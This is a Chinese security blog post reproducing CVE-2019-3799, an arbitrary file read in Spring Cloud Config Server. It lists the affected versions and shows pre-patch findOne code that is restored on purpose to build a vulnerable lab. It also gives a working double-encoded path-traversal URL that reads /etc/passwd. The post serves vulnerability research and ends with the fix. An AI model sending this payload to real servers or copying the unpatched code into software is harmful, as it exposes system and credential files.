暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Spring Cloud Config Server 任意文件读取漏洞(CVE-2019-3799)

安全档案 2019-04-18
757

关于CVE-2019-3799

影响范围:

Spring Cloud Config 2.1.0 to 2.1.1

Spring Cloud Config 2.0.0 to 2.0.3

Spring Cloud Config 1.4.0 to 1.4.5

其他不受支持的老版本 (如Spring Cloud Config1.3及其以下版本)

具体更新细节见:https://github.com/spring-cloud/spring-cloud-config/commit/9617f2922ee2ae27f08676716224933f0d869719

下载 git 项目 :https://github.com/spring-cloud/spring-cloud-config

修改 GenericResourceRepository.java

替换 findOne
 方法为未修补前的代码

  1.  @Override

  2.  public synchronized Resource findOne(String application, String profile, String label,

  3.  String path) {


  4.  if (StringUtils.hasText(path)) {

  5.  String[] locations = this.service.getLocations(application, profile, label)

  6.  .getLocations();

  7.  try {

  8.  for (int i = locations.length; i-- > 0;) {

  9.  String location = locations[i];

  10.  for (String local : getProfilePaths(profile, path)) {

  11.  Resource file = this.resourceLoader.getResource(location)

  12.  .createRelative(local);

  13.  if (file.exists() && file.isReadable()) {

  14.  return file;

  15.  }

  16.  }

  17.  }

  18.  }

  19.  catch (IOException e) {

  20.  throw new NoSuchResourceException(

  21.  "Error : " + path + ". (" + e.getMessage() + ")");

  22.  }

  23.  }

  24.  throw new NoSuchResourceException("Not found: " + path);

  25.  }

在项目根目录运行 mvn spring-boot:run

分析

https://mp.weixin.qq.com/s/yj0cWEsyiPJr4A7YXpmLJw

复现

poc:

  1. /test/pathtraversal/master/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd

图:读取system.ini

修复

更新到官方最新版本。


文章转载自安全档案,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论